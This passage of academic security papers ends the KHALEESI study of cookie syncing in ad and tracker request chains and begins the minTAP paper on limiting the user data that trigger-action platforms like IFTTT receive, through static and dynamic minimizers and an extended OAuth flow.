half of the domains in request chains participate in cookie
syncing across all of the configurations with more than two
thirds of domains participating in cookie syncing in the web-
mail configuration. We notice that domains in the interactive,
cookies allowed crawl send and receive the most identifiers
on average. Note that doubleclick.net is the most popular
domain detected to participate in cookie syncing across all
web crawl configurations, and syncs to as many as 1,100 dif-
ferent domains in the interactive crawl that spoofed Safari.
Surprisingly, we note that cookie syncing is more common
in configurations where we block cookies, i.e. the interac-
tive cookies blocked crawl and the interactive spoofed Safari
crawl. We find that a vast majority of cookie syncing cases
involve exchange of potential identifiers in query strings and
non-standard HTTP request headers. Not shown in the table,
but 91.13% of the cases in the spoofed Safari interactive crawl
and 91.25% of the cases in the interactive cookies blocked

12We tweak the detection method to consider identifiers from multiple lo-
cations in the request/response header and also consider their hashed versions
(see JavaScript request linking in § 3.2 for more details).
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Configuration Request Domains Send Receive Top Domain Send Domain Receive Domain
Chains (%) (%) (average) (average) (count) (count)

Cookies allowed (home.) 54.37% 50.87% 6.49 5.86 doubleclick.net 322 336
Cookies allowed (int. 54.54% 52.82% 7.39 7.00 doubleclick.net 828 872
Cookies blocked (int.) 28.49% 55.40% 6.80 6.81 doubleclick.net 1,060 1,012
Spoofed Safari (int.) 27.82% 57.08% 6.54 6.67 doubleclick.net 1,100 1,071
Webmail (no JS) 70.59% 78.72% 2.24 4.00 liadm.com 19 84

Table 10: Prevalence of cookie syncing in request chains across all of the crawl configurations. Send/Receive Average represents
the average number of domains per request chain to/from which cookies are shared/received. Top Domain refers to the domain
that is most frequently detected to cookie sync. Send/Receive Domain Count represent the total number of distinct domains to
which top domains share/receive cookies to/from.

crawl represent such cases. We also find a high prevalence of
identifiers that have been Base64 encoded, MD5 hashed, and
SHA-1 hashed. Not shown in the table, 2.77% of domains
in the homepage cookies allowed crawl, 3.74% domains in
interactive cookies allowed crawl, 3.73% of domains in the in-
teractive cookies blocked, 4.65% of domains in the interactive
spoofed Safari crawl, and 0.94% of domains in the webmail
crawl use encoded and hashed identifiers while syncing cook-
ies.

6 Concluding Remarks

In this paper we proposed KHALEESI, a machine learning
based approach that capitalizes on sequential context to detect
advertising and tracking request chains. We conclude the
paper by discussing some limitations and future work.
Data collection: Our data collection has some limitations that
pose internal and external threats to the validity of our find-
ings. For crawling, we used OpenWPM instrumented browser,
which is more complete than primitive crawlers such as Phan-
tomJS [25] but is still detectable [44]. Our web crawler used a
vantage point at an academic institute and the results may vary
across different networks (e.g., residential) and geographic
locations.
Feature robustness: KHALEESI’s robustness against feature
manipulation is not fool-proof. A motivated adversary can, in
theory, dial-up these feature manipulations (§4.3.2) to evade
detection by KHALEESI. However, that would require sig-
nificant changes to the infrastructure, techniques, and work-
ing model of the current advertising and tracking ecosystem.
For example, changing domain names and query string pa-
rameters requires non-trivial coordination between front-end
and back-end across several advertisers and trackers [19, 20].
P3P’s continued presence in many advertising and tracking
requests, despite its discontinuation for more than 6 years,
also highlights the slow change of affairs in the advertising
and tracking ecosystem [1].
Adversarial attacks: KHALEESI’s random forest ensemble
classifier may also be susceptible to adversarial attacks on
general machine learning classifiers (e.g., FGSM [42]). If

these adversarial attacks are realized against KHALEESI, coun-
termeasures such as adversarial training can be used to harden
random forest ensemble classifier [32, 33, 50].
Model accuracy over time: The web is continuously chang-
ing and so is the online advertising and tracking ecosystem.
As the advertising and tracking techniques evolve, this may
change the underlying data distributions on which KHALEESI
is trained. While we showed that KHALEESI’s accuracy de-
graded only minimally (§4.3.1), it might require periodic re-
training to ensure high accuracy. Future work can look into
automatically updating KHALEESI’s ML classifier using on-
line learning techniques based on user feedback.
Integration with other tools: KHALEESI focuses only on re-
quest chains and other standalone network requests are consid-
ered outside the scope. It is meant to be complemented with
filter lists to handle standalone network requests. Future work
can look into integrating KHALEESI into existing ML-based
ad and tracker blocking tools (e.g., [49, 64]).
Code and data release: KHALEESI’s browser extension, code,
and data is available at https://uiowa-irl.github.io/Kh
aleesi/.
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Abstract
Trigger-Action Platforms (TAPs) connect disparate online
services and enable users to create automation rules in di-
verse domains such as smart homes and business productivity.
Unfortunately, the current design of TAPs is flawed from a
privacy perspective, allowing unfettered access to sensitive
user data. We point out that it suffers from two types of over-
privilege: (1) attribute-level, where it has access to more data
attributes than it needs for running user-created rules; and (2)
token-level, where it has access to more APIs than it needs.
To mitigate overprivilege and subsequent privacy concerns
we design and implement minTAP, a practical approach to
data access minimization in TAPs. Our key insight is that the
semantics of a user-created automation rule implicitly speci-
fies the minimal amount of data it needs. This allows minTAP
to leverage language-based data minimization to apply the
principle of least-privilege by releasing only the necessary
attributes of user data to TAPs and fending off unrelated API
access. Using real user-created rules on the popular IFTTT
TAP, we demonstrate that minTAP sanitizes a median of 4
sensitive data attributes per rule, with modest performance
overhead and without modifying IFTTT.

1 Introduction
Trigger-action platforms (TAPs) enable millions of end-users
to automate interactions between a wide variety of third-
party services and devices ranging from cloud services to
IoT devices and social networks [38]. Popular TAPs include
IFTTT [9], Zapier [51], and Microsoft Power Automate [40].
End-users create simple automation rules using the trigger-
action paradigm. Fig. 1 shows an example rule that uses the
TAP to connect Outlook email with Slack — an email arriving
at the user’s inbox from bank@xyz.com will trigger the rule
that performs the action of sending a Slack notification with
the email sender’s address and subject line if the email arrives
between 9 am and 5 pm (otherwise, no action is performed).

With their widespread adoption, TAPs have unfortunately
become overprivileged hubs of user information [19, 25, 50]
raising privacy concerns [12, 18, 20, 48, 49]. Considering the

Trigger-Action Platform

Automation Rule

Filter Code

if Time before 9am / after 5pm:
skip action

Office 365: New Email from …

bank@xyz.comFrom

Slack: Post to channel …

bobChannel

Received an email 
from Sender:Subject

Message

Compatibility Layer

Action Service

Compatibility Layer

Trigger Service

Post to channel …

Channel bob

Message Received an email from 
Bank XYZ: Bank Statement

Attributes
Sender: Bank XYZ
Subject: Bank Statement
Body: Your salary is $...
Time: 2020/11/20 12:00

New Email from …?

From bank@xyz.com

Rule Setup Phase Rule Execution Phase

Program and save rule to TAP

Figure 1: An example automation rule in trigger-action plat-
forms. The boxed fields represent various information that
the user needs to specify.

rule in Fig. 1, current TAPs will receive all the emails from
the specified sender, independently of whether emails are rel-
evant to the user-created rule. Even worse, a malicious TAP
can alter the rule parameters to obtain any email received
by the user at any time. Furthermore, current TAP architec-
tures dictate that the sensitive data of all users transits through
a centralized web service, making it an attractive target for
cloud attackers [28, 36]. Consequently, some third-party ser-
vices (e.g., Gmail) have become reluctant to interface with
TAPs citing privacy concerns [30]. At the same time, users
are becoming wary of the insufficient safeguarding of their
data by TAPs [24].

The core issue is that TAPs receive more data than they
need to execute user-created rules. Specifically, there are two
key design flaws in TAPs that can cause data privacy problems.
(1) Attribute-level overprivilege allows exploiting the APIs
designed by third-party services to send significantly more
data attributes than what is necessary to execute the rule.
(2) Token-level overprivilege of the OAuth tokens that TAPs
receive from the third-party services allows exploiting the
tokens to use various APIs on the service, even if they are
completely unrelated to the rule. While Fernandes et al. [25]
consider token overprivilege for integrity, we point out that,
when combined with attribute overprivilege, these tokens also
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permit TAPs to read more sensitive information than needed,
thus creating more opportunity for privacy violations.

For our example rule in Fig. 1, the TAP only needs the
email sender and subject line, and only for emails that ar-
rive between 9am and 5pm. However, currently the TAP will
receive all email data from that sender at all times. A fun-
damental design choice in TAPs is to favor ease-of-use for
third-party services and end-users. Coarse-grained APIs and
tokens avoid frequent permission requests, saving users from
going through the authentication prompts multiple times. Un-
fortunately, this comes at the cost of privacy — it violates
the principle of least-privilege [44]. It can also create fric-
tion with legal frameworks like the General Data Protection
Regulation (GDPR) [6] and the California Privacy Rights Act
(CPRA) [8]. These frameworks stipulate data minimization, a
principle restricting data collection to “what is necessary in
relation to the purposes for which they are processed” [6].

Motivated by the above, we explore improving user data
privacy on TAPs, a largely unexplored area in trigger-action
platforms [18]. We design and implement minTAP, a sys-
tem that follows the principle of data minimization to ensure
that the TAP only receives the user data it needs to execute
user-created trigger-action rules. Specifically, our techniques
automatically detect and withhold unnecessary trigger data.
There are two challenges in achieving this property: (1) De-
termine the amount of data a trigger-action rule needs. (2)
Mitigate privacy issues in a practical way that does not re-
quire changes to the TAP while only negligibly impacting
user interaction.

Automatically determining the amount of data that a rule
needs is challenging because that amount can vary depending
on the rule semantics. IFTTT rules may contain user-created
code snippets (called filter code in IFTTT terminology) where
the set of required data depends on code behavior. In our
running example, if the time is outside of the 9am to 5pm win-
dow, then the rule needs no data. Inspired by recent work on
language-based data minimization [17], we leverage program
dependency analysis to enforce data-minimality in rules. Our
approach demonstrates how to construct lightweight static
and dynamic minimizers, which take as input a rule and output
the information needed by the rule while sanitizing unused
data (Section 5). We also provide guidance to trigger service
developers on what types of minimizers would best suit their
needs and the related trade-offs (Section 8).

For the second challenge on remaining compatible with
existing TAPs and not burdening end-users, we decouple trust
in rule creation and execution steps. On current systems, these
steps occur on infrastructure provided by the TAP vendor (e.g.,
rule creation occurs on a webpage that IFTTT hosts while
rule execution occurs in the IFTTT backend). This implies
that a user has to trust this entire stack. Per our threat model,
the TAP is untrustworthy, and thus, rule creation must occur
elsewhere (otherwise, the TAP can simply modify a rule to
request all information independently of the user’s needs).

Inspired by recent work on decentralizing trust in TAPs [25],
we introduce a trusted client application that helps a user cre-
ate rules. Thus, rather than trusting the TAP to correctly help
a user create rules, each user in the system only trusts their
client application. The minTAP client transparently rewrites
user-created rules with program dependency information and
then stores that information on the TAP with cryptographic
integrity protection. We demonstrate this technique on IFTTT
without requiring any cooperation. Finally, minTAP requires
a small modification to the trigger service’s existing IFTTT-
compatibility layer. We build a portable Python library that
services can use to update their compatibility layer and per-
form data minimization based on the program dependency
information when a rule executes.

We evaluate the privacy benefits of minTAP on 34,419 real-
world IFTTT rules that operate on sensitive data — it correctly
identifies and removes a median of 4 sensitive attributes that
IFTTT does not need for rule execution. Examples include
users’ emails and downloadable links to private files. We also
find 376 filter codes inside these rules and detect that 84%
of them may lead to the skipping of actions: when skipped,
minTAP will remove a median of 5 attributes.

The paper offers the following contributions:

• We develop a general model for mitigating the privacy is-
sues due to overprivilege (Section 5). Our system, minTAP,
implements the principle of data minimization by using
static and dynamic dependency analysis of TAP rules.

• We instantiate our model for IFTTT demonstrating how
minTAP achieves practical data access minimization with-
out changing IFTTT itself (Section 6).

• We have collected the first large-scale dataset of IFTTT
rules with filter code and other detailed configurations. We
evaluate the privacy benefits of minTAP on 34,419 rules.
We use large-scale experiments with realistic workloads to
show the performance impact is modest (Section 7).

Designing least-privilege systems often requires tailored
solutions to strike a balance between functionality, secu-
rity, and usability. We contribute to building least-privilege
systems and showcase how one can practically adapt the
recently-proposed theory of data minimization [17] through
lightweight program analysis. Although we contextualize our
work for TAPs, the principles are general and potentially use-
ful for other types of API ecosystems. minTAP is available at
https://github.com/EarlMadSec/minTAP.

2 Trigger-Action Platform Background
Trigger-action platforms (TAPs) connect disparate web ser-
vices and enable end-users to build useful automation through
a simple trigger-action paradigm. These web services range
from digital resources like Dropbox, Gmail, and Slack to phys-
ical resources like IoT devices (e.g., ovens, smart door locks,
smart lights). Web services can create triggers that will notify
the TAP about an event (e.g., “new email arrived” or “door
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let str = Office365Mail.newEmail.Subject
if (str.indexOf('IFTTT') === -1) {
Slack.postToChannel.skip()

} else {
Slack.postToChannel.setMessage('Email ' +

Office365Mail.newEmail.Subject + ' just received!')↪→

}
Figure 2: Example filter code.

unlocked”) or actions that allow the TAP to issue operations
(e.g., “send a message” or “turn on the light”). For each trigger
and action, the services host APIs to handle the communica-
tion with the TAP. Trigger APIs feed trigger data containing
a number of attributes,1 such as Sender, Subject, Body,
and Time in the context of our example rule in Fig. 1.

A rule connects a trigger to an action. The service providing
the trigger is referred to as trigger service, and the service
providing the action as action service. Each trigger and action
can provide multiple user-configurable fields. These fields
represent the parameters that the TAP appends to its API call
to the corresponding services. In Fig. 1, the trigger has a From
field which can be used to customize which email address
can trigger the rule. Similarly, Channel and Message are the
action fields that customize the API call that the TAP sends
to Slack. The user may also specify the values of action fields
with the trigger attribute names.

A rule can do further processing of trigger attributes using
filter code. On IFTTT, filter code is a JavaScript code snippet
that may customize the action fields based on trigger data.
Filter code may also skip the action event altogether based on
some condition. Fig. 2 shows an example of filter code that
sends a Slack message only when a new email with a subject
containing the keyword “IFTTT” is received [7]. The variable
Office365Mail.newEmail is an object that holds the trig-
ger attributes, such as Subject, and Slack.postToChannel
provides a list of functions, such as setMessage(), to set the
values for different action fields. When one of these functions
is called, the original value of the corresponding action field
is overwritten. Function skip() is used to skip an action.

For interoperability with third-party services, popular TAPs
like IFTTT and Zapier specify a compatibility layer that the
participating services must implement to host TAP-specific
APIs and translate the service’s original authorization and
data APIs into a format that the TAP understands [33, 52].

3 Data Privacy in Overprivileged Trigger-
Action Platforms

Prior work [25] has examined the integrity issues that over-
privilege causes. We provide a first look at the data privacy
issues that result from overprivilege. This motivates the de-
sign of our data minimization framework.

Attribute-level overprivilege. Typically, each trigger API
contains multiple attributes. Unfortunately, under the current

1Different TAPs may use different terminologies. For example, in IFTTT,
rules are called applets and attributes are called ingredients.

practice, the trigger service transmits all these attributes to
the TAP regardless of whether the rule needs them. These
unneeded attributes can contain sensitive information, lead-
ing to attribute-level overprivilege. Consider the example
rule in Fig. 1, the trigger service provides four attributes (i.e.,
Sender, Subject, Body, and Time) in the trigger data sent to
the TAP. However, one of the attributes (i.e., Body) is never ac-
cessed in the rule’s execution. We give three example IFTTT
rules in Fig. 3 showing that many sensitive attributes are be-
ing sent to IFTTT even though they are not required for rule
execution. Recall that users of TAPs can further customize
the behavior of a rule by writing filter code that can access
trigger attributes and modify action fields. Thus, based on the
execution path of the filter code, the set of attributes a rule
uses can change. Consider the filter code in Fig. 2. When the
condition in the if statement holds, the entire action will be
skipped and hence no trigger attributes are required; other-
wise, the TAP only needs the email’s Subject to correctly
execute the rule.

Token-level overprivilege. Privacy concerns on TAPs ex-
tend beyond attribute overprivilege. As noted in Section 2,
TAPs acquire OAuth tokens with a broad scope for enhanced
usability, so that users can enter their password for a trig-
ger/action service only once even if they create multiple rules
using them. These tokens enable TAPs to execute a large
number of APIs on behalf of the user. If an attacker obtains
such a token (either by compromising the TAP, or by tricking
a user), they can use the token to get unfettered access to all
of the user’s sensitive trigger data serviced by the APIs that
are in the scope of the token, even if these data are not re-
quired for any of the TAP’s supported rules. While this issue
was first identified by Fernandes et al. [25] our experiments
confirm that it is yet to be addressed by current TAPs. Al-
though finely-scoped tokens could mitigate this overprivilege,
they will drastically hamper usability as users will have to
authenticate to services every time they create a rule.

From overprivilege to minimization. The constraints of us-
ability and functionality that lead to attribute- and token-level
overprivilege are fundamental to the design of trigger-action
platforms. Nevertheless, such overprivilege violates the princi-
ple of data minimization that mandates sharing only necessary
user data [6, 8] and puts users’ privacy at risk should the TAP
(or the tokens intended for the TAP) be compromised. Our
work identifies a sweet spot in the design space that mitigates
attribute- and token-level overprivilege while respecting the
usability and functionality constraints, with negligible change
to the user’s experience and no modifications on the TAP.

4 Threat Model and Design Goals
Our goal is to ensure that trigger services release the minimal
amount of data that user-created rules need without modifying
the trigger-action platform or requiring significant changes to
the existing user experience. We first discuss the threat model

USENIX Association 31st USENIX Security Symposium    2931



IFTTT rule description Trigger Trigger attributes (unused
ones shown in bold italics)

Get notification before
your next event starts [3]

Google Calendar:
Any event starts

Title, Description, Where,
Starts, Ends, EventUrl

Automatically save in
Pocket the first link in a
Tweet you like [2]

Twitter: New
liked Tweet by
you

Text, UserName, Link-
ToTweet, FirstLinkUrl,
CreatedAt, TweetEmbed-
Code

Payments over ___ send
you a phone call [4]

Square: New pay-
ments over a spe-
cific amount

Merchant, ID, TotalCollect-
edMoney, DeviceName, Pay-
mentAt, RecordURL

Figure 3: Examples of IFTTT rules, where several sensitive
attributes of trigger data are not used by a rule but still sent.

under which we want to achieve these goals and then outline
the design requirements of the solution. Finally, we discuss a
few potential approaches and point out why they do not meet
our security or functionality goals.

4.1 Threat Model

In line with prior work on security and privacy of TAPs [22,
23, 25, 45, 50, 53], we assume that the TAP is untrustworthy,
meaning that it may deviate from the protocols with the goal
of stealing user data that it should not know about (i.e., user
data that is not involved in any user-created rules). It can,
for example, try to modify the user’s installed rules or im-
personate the user. Action integrity attacks (e.g., changing or
dropping the action of a rule) are orthogonal to this work and
are addressed in complementary approaches [23, 25], which
we envision will compose well with minTAP. Denial of ser-
vice is also outside of our scope. Therefore, our focus is on
privacy issues arising from overprivilege and how the TAP
can take advantage of this fundamental flaw.

We assume that the third-party trigger services, which are
the originators of user data, are trusted and do not collude
with the TAP. For example, services like Outlook and Dropbox
are the source of sensitive user data and have no incentive
to collude with the TAP to reduce the privacy of their users.
These services have a TAP-mandated compatibility layer to
host APIs that communicate with the TAP. We also assume
that the users who create trigger-action rules never act against
the interests of their own data privacy, but they might be
malicious towards the data of other users. For example, an
attacker can sign up to the TAP as a user with the goal of
trying to steal other user data from trigger services.

As noted earlier, users interact with the trigger-action plat-
form via an app running on a smartphone or computer. We
assume that the client device and the app they use to interface
with the TAP are trusted and not compromised. We adopt
this decentralized trust model from existing work [22, 23, 25].
Unlike the current setting where all users trust a single entity
(i.e., IFTTT), in our design, each user only trusts their own
device and the apps running on it.

4.2 Design Goals

Security. Our primary goal is to ensure that the TAP is cor-
rectly privileged at both the token- and attribute-level, so that
it can only obtain the data that is absolutely necessary for
executing the user-created automation rules. This security
goal is in line with the data minimization principle. Therefore,
the trigger services should only send the necessary amount of
user data to the TAP. Such information may vary dynamically
based on the attributes of trigger events for different execu-
tions of user rules. In addition, the design must not open up
new vulnerabilities in the trigger/action services.

Functionality. The approach to reducing overprivilege in
TAP must abide by the following functionality goals: (1) It
must be compatible with existing trigger-action platforms,
such as IFTTT, Zapier, MS Power Automate, etc., without
any modification. In our case, we prototype with IFTTT, a
widely popular TAP with 20 million users [32]; (2) It should
support current real-world trigger-action rules that can include
filter code; (3) User experience should remain similar and any
security-relevant changes should be handled transparently;
(4) The trusted client that users use to set up rules should
not be required during rule execution; (5) All changes to
the trigger service should be contained within its existing
IFTTT-compatibility layer; (6) It should transparently support
consumers of trigger APIs that are not minTAP-aware (e.g.,
users who do not want privacy preserving features, non-TAP
consumers of trigger APIs). These functionality goals are
necessary to ensure we preserve the characteristics of trigger-
action platforms that made them popular among users and
trigger/action services.

With the threat model and design goals set, we show why
naive solutions do not fulfill our security and design goals.

4.3 Potential Solutions and Challenges
A trigger service could create rule-specific APIs to reduce
attribute-level overprivilege and API-specific tokens to reduce
token-level overprivilege. However, the former will require
the trigger service to know the rules that users create with
their services (a challenge on its own). The latter will require
recurring updates to trigger APIs to provide desirable func-
tionality in the face of changing user demands, increasing
API maintenance burden. The API-specific tokens will also
create a usability burden as users will then have to authorize
the TAP every time they create a new rule.

Another potential solution could be to run the rules on the
trigger service and communicate the results to the action ser-
vice directly, without requiring the TAP. However, this will
break the independence between trigger and action services, a
key property that allows them to evolve independently of each
other. For example, there is no reason for an email service
provider to know the API details of a chat room. With this
naive solution, the trigger service will be required to learn the
API details of every service for which the user creates automa-
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tion rules. TAPs provide a critical layer of abstraction that
permits cross-service automation without the services know-
ing about each other. Thus, a practical solution to mitigate
privacy issues resulting from overprivilege cannot require
changes to how the ecosystem functions. A variant of this
potential solution is to run the rule on the trigger service and
only transmit the results of rule execution to the TAP which
then simply forwards the results to the action service. How-
ever, this, in addition to the problem stated above, requires
modifications to the TAP, violating our design goals.

We therefore take a different approach and build minTAP
that operates with existing TAPs and enable trigger services
to apply data minimization to their trigger APIs. During rule
creation on the client device, minTAP will create a data min-
imizer for the rule and store that on the TAP as a trigger
parameter. The trigger service will receive the parameter dur-
ing rule execution, apply the minimizer, and send only the
minimized trigger data to the TAP. The minimizer ensures
all but the attributes necessary for the rule execution are re-
placed with some default values (e.g., empty strings). Next,
we discuss how to generate such practical minimizer functions
(Section 5) and how we design minTAP to use minimizers
without modifying IFTTT (Section 6).

5 Data Minimization Model
Data minimization reduces the set of trigger attributes sent
to TAPs by only transmitting the ones necessary for rule
execution. For rules without filter code, we can identify the
minimized trigger attributes as the ones that are used in the
action fields. For rules with filter code, we develop a practical
minimization model that uses data-flow dependency analysis.

Language-based data minimization. We draw on the re-
cently proposed theory of language-based data minimiza-
tion [17]. Intuitively, a minimizer is a function that reduces
the inputs to a rule without changing the rule’s behavior. An
optimal minimizer removes all redundancy from the inputs. In
an ideal scenario, we want to construct an optimal minimizer
for a given TAP rule. Unfortunately, finding it is undecid-
able [17]. Prior work on building minimizers either resorts
to verification [17] relying on manual intervention or testing
value coverage [43] to produce meaningful results. Automati-
cally building practical minimizers is an open problem.

We propose an automatic approach to building practical
minimizers for TAP rules. As confirmed by our experiments
from Section 7, filter code consists of small code snippets
not written with adversarial intent [7]. This makes static and
dynamic code data-flow analysis of filter code feasible and
thus opens up opportunities for building practical minimizers
that can protect sensitive user data from unnecessarily being
exposed to the TAP.

Minimization by (in)dependency analysis. Our key insight
is to identify input attributes that have no impact on the rule
functionality, so that they can be dropped by the minimizer.

A function is independent of a subset of input attributes if the
function output never depends on what values those attributes
take. That is varying the values of that subset of attributes will
not affect the function’s result. This relates to the well-studied
notion of noninterference [27]. For our purposes, we term
this regular independence. If the independence is specific
to particular values certain attributes take, then we call it
run independence. Under run independence with respect to a
particular subset of attributes, varying the input values of the
remaining attributes will not affect the function’s result.

We can find independence via static and dynamic program
data-flow analysis techniques [42]. These techniques track
whether a given input is used in computing the output of the
rule. For the example rule from Fig. 1, by statically analyzing
the rule, we infer that the body of the email is never used in
the output. Therefore, the rule function is independent of the
email body. A minimizer can thus withhold the email body
(e.g., by replacing it with the empty string) without changing
the rule’s functionality. Similarly, when invoked outside the
working hours, by dynamically analyzing a run of the rule in
Fig. 1 we establish that the rule becomes run-independent of
all inputs, in which case no data needs to be sent to the TAP.

Practical data minimizers for TAPs. We contribute practi-
cal minimizers that use data-flow analysis. We define a practi-
cal minimizer to be a function that takes as input the trigger
data DT and some auxiliary information m computed based
on the rule r, and outputs modified trigger data where values
of the unused attributes in rule r are removed. minTAP sup-
ports two types of minimizers: static and dynamic. A static
minimizer computes the list of required trigger attributes by
statically analyzing the rule (including the filter code), lever-
aging regular independence. A dynamic minimizer computes
the list of required trigger attributes for rule execution by
running an instrumented version of the filter code that tracks
trigger attribute usage, leveraging run independence.

Generating auxiliary information for minimizers. The
auxiliary information assists the minimizers in comput-
ing the set of required trigger attributes. Algorithm
GenMinimizerInfo in Fig. 4 presents the algorithm for gener-
ating the auxiliary information. It takes a rule r = (T,A, f )
where T is the set of trigger attributes (e.g., Sender and
Subject in the example rule in Fig. 1), A consists of the
value of each action field (e.g., Channel and Message), and
f represents the filter code.

This algorithm first computes the dependency set T ′, which
includes Tai , the set of trigger attributes required by each ac-
tion field ai ∈ A, and Tf , the set of trigger attributes appearing
in the filter code f . In addition, it also transforms f into f ′

by (1) adding data-flow tracking logic to track the access of
trigger attributes and action fields, (2) replacing skip() with
an empty return, and (3) replacing action API calls with stubs.
The last modification serves two purposes: to track which
action fields are overwritten and anonymize the action API
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GenMinimizerInfo(r = (T,A, f )):
for ai ∈ A do

Tai ←{t | t ∈ T ∧ t appears in ai}
Tf ←{}
for stmt ∈ AST( f ) do

Tf ← Tf ∪{t | t ∈ T ∧ t is accessed by stmt}
T ′←

(
Ta1 , . . . ,Tan ,Tf

)
f ′← transform( f )
Return m = (T ′, f ′)

SMinimizer (DT , m = (T ′, f ′)):
/* f ′ is not used */(
Ta1 , . . . ,Tan ,Tf

)
← T ′

Ta←
⋃

ai∈A Tai
for (t,v) ∈DT do

if t /∈ (Ta ∪Tf ) do
DT [t]←⊥

Return DT

DMinimizer (DT , m = (T ′, f ′)):(
Ta1 , . . . ,Tan ,Tf

)
← T ′

/* Tf is not used */(
Tf ′ ,A′

)
← f ′(DT )

Ta←
⋃

ai∈(A\A′) Tai
for (t,v) ∈DT do

if t /∈ (Ta ∪Tf ′ ) do
DT [t]←⊥

Return DT

Figure 4: Generating the auxiliary information required for
running static and dynamic minimization is shown at the top,
and how this auxiliary information is used is shown in the
bottom two procedures. For a rule r, T is the set of trigger
attributes, A is the values of action fields, f is a filter code,
DT is the trigger data.

semantics because we do not want to leak them to the trigger
service. We name f ′ as the transformed filter code and, along
with the dependency set T ′, they form the minimizer auxiliary
information m.

Executing data minimizers. Once the minimizer informa-
tion is generated, the trigger service can choose to run one of
the minimizers on trigger data DT , which contains the trigger
attributes and their associated values. In case of static min-
imization (SMinimizer), the trigger service simply crosses
off the value (e.g., replaces with some default value ⊥) for
attribute in DT if it does not belong to any of the sets in T ′. In
case of dynamic minimizer (DMinimizer), the trigger service
executes the instrumented filter code f ′ on the current trigger
data DT , which, during the course of its execution, records the
set of trigger attributes accessed (Tf ′ ) and set of action fields
overwritten (A′). If an action field ai is over-written by f ′, the
minimizer adjusts T ′ by removing Tai . Then, similar to static
minimization, the dynamic minimizer replaces all the values
for attributes that do not belong to any dependency sets.

6 minTAP Framework
We discuss the design of the minTAP framework and show
how it uses the minimizers from the previous section to ensure
that the TAP only receives the necessary amount of sensitive
attributes it needs to execute user-created rules. This tack-
les both the attribute- and token-level overprivilege privacy
issues. We also discuss how the design achieves the func-
tionality and security goals from Section 4.2. We integrate
minTAP with IFTTT due to its wide user base [32]. minTAP
ensures that real-world rules run with the minimum amount

Trigger-Action Platform

Compatibility Layer

Action Service

Compatibility Layer
Apply minimizer

Trigger Service

Post to channel …

Channel bob

Message
Received an email 
from Bank XYZ: 
Bank Statement

Rule (𝒓)

Filter Code

if Time before 9am / after 5pm:
skip action

Office 365: New Email from …

bank@xyz.comFrom

Slack: Post to channel …

bobChannel

Received an email 
from Sender:Subject

Message

Compute from 𝑟

Set up rule 
information

Rule Setup Phase Rule Execution Phase

Minimizer Info (𝑚)  

Signature (𝜎)

User

Save 𝑟! = (𝑟,𝑚, 𝜎) to TAP

Client

Attributes
Sender: Bank XYZ
Subject: Bank Statement
Body: your salary is $...
Time: 2020/11/20 12:00

Any New Email from …?

From bank@xyz.com

Minimizer 𝑚

Signature σ

Figure 5: minTAP Framework. The blue-shaded background repre-
sents the components of minTAP: a client application and a modifi-
cation to the existing IFTTT-compatibility layer of trigger services.
The user creates a rule r, which is then transformed by the client into
r′ that contains minimizer information (m) with integrity protection
(σ). During rule execution, the TAP contacts the trigger service with
(m,σ). The trigger service returns minimized data by removing at-
tributes not needed for rule execution. All of this works transparently
to users and the TAP.

of trigger attributes they need without changing IFTTT or
the rules themselves. Thus, it is a practical technique that
privacy-conscious trigger services can use with lightweight
changes to their infrastructure.

Design Overview. minTAP framework consists of two com-
ponents (Fig. 5): a compatibility layer (or shim) that trigger
service installs on top of its existing IFTTT-compatibility
layer, and a client for each user in the form of a trusted browser
extension. Together, they ensure that IFTTT is correctly privi-
leged at the attribute- and token-level without requiring any
co-operation from IFTTT. At a high level, when the user con-
figures a rule, the client will read the information on the rule
setup interface to generate the minimizer auxiliary informa-
tion, based on the algorithm described in Section 5, as well
as a signature, which ensures the rule’s integrity. During rule
execution, these information will be forwarded to the trigger
service, which will apply the minimizer (either statically or
dynamically) and filter out unused attributes.

We organize the following discussion around the life-cycle
of a trigger-action rule in the case of IFTTT: (1) Authorizing
IFTTT to trigger/action services (Section 6.1); (2) Setting up
rules (Section 6.2); and (3) Rule execution (Section 6.3).

6.1 Service Authorization Phase
The trigger service has to verify that the information it re-
ceives from IFTTT is authentic and not modified. Our design
achieves this by signing the information. Thus, the trigger ser-
vice needs to receive the public key of the client for signature
verification. This client’s key is service- and user-specific. Al-
though the client could upload this key by initiating a separate
OAuth session with the user and trigger service, it hinders the
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IFTTT Service

1. Authorization Request
{Client id, Scope, Callback URL, …} 2. Authorization Request*

{Client id, Scope, Callback URL, …,
Code Challenge}

3. Authorization Code
4. Authorization Code

5*. Client Token Request
{Client id, Authorization Code, … 

Code Verifier, Client public key}

5. IFTTT Token Request
{Client id, Authorization Code, 

Client Secret, …}

6. Access (+ Refresh) Token 
for IFTTT

6*. Access (+ Refresh) Token 
for Client

Client

Login + 
authorize

Figure 6: minTAP authorization phase: The non-bold text
represents the original OAuth 2.0 authorization code flow
used between IFTTT and the service, while the bold parts
highlight the changes introduced by minTAP’s trusted client.

usability. Therefore, we integrate the OAuth Proof Key for
Code Exchange (PKCE) protocol [5] into the current OAuth
protocol that runs during the service authorization phase to
simultaneously authorize both IFTTT and the client.

Before a user can create a new trigger-action rule, they must
authorize IFTTT to access their data on the trigger and action
services through the standard OAuth 2.0 authorization code
flow. This is a one-time operation that occurs the first time
the user programs a rule with a new service. Subsequent rules
involving the same services do not go through the authoriza-
tion process — this is a key usability trade-off in IFTTT. Our
work maintains this trade-off while mitigating the negative
privacy effects.

During service authorization, minTAP’s client, deployed as
a browser extension, intercepts and transparently modifies the
first two steps of the OAuth sequence, namely, the authoriza-
tion request and code response. This is possible because these
steps are implemented through browser redirects. The client
also creates a service-specific key pair (sk, pk). Fig. 6 shows
the extended OAuth flow. When the client encounters an
authorization request from IFTTT to a service (Step 1), it gen-
erates a large random string and computes its cryptographic
hash value. We refer to this string as code verifier and to its
hash value as code challenge. The client appends the code
challenge to the authorization request (Step 2). After the user
successfully logs into the account and approves the requests,
the service will redirect the browser to the callback URL,
which is an endpoint of IFTTT, with the authorization code
appended (Step 3-4). The client records this authorization
code silently for later use. Then, in the background, IFTTT’s
server will post a request for the access token using its client
secret (Step 5). The service will reply with a special access
token (Step 6), which can access the service’s APIs only when

New IFTTT Rule

Trigger

Trigger Field 1 Trigger Field 2

… Trigger Field n

Trigger Field: Signature

Filter Code

Trigger Field: Minimizer

Action

Action Field 1 Action Field 2

… Action Field m

User Client

4. Statically analyze 

2. Extract required 
trigger attributes1. Fill in rule 

information

Attributes in 
action field

5. Compute minimizer information

Client 
private key

6. Sign all other 
trigger fields

Attributes in 
filter code

Transformed 
filter code3. Transform 

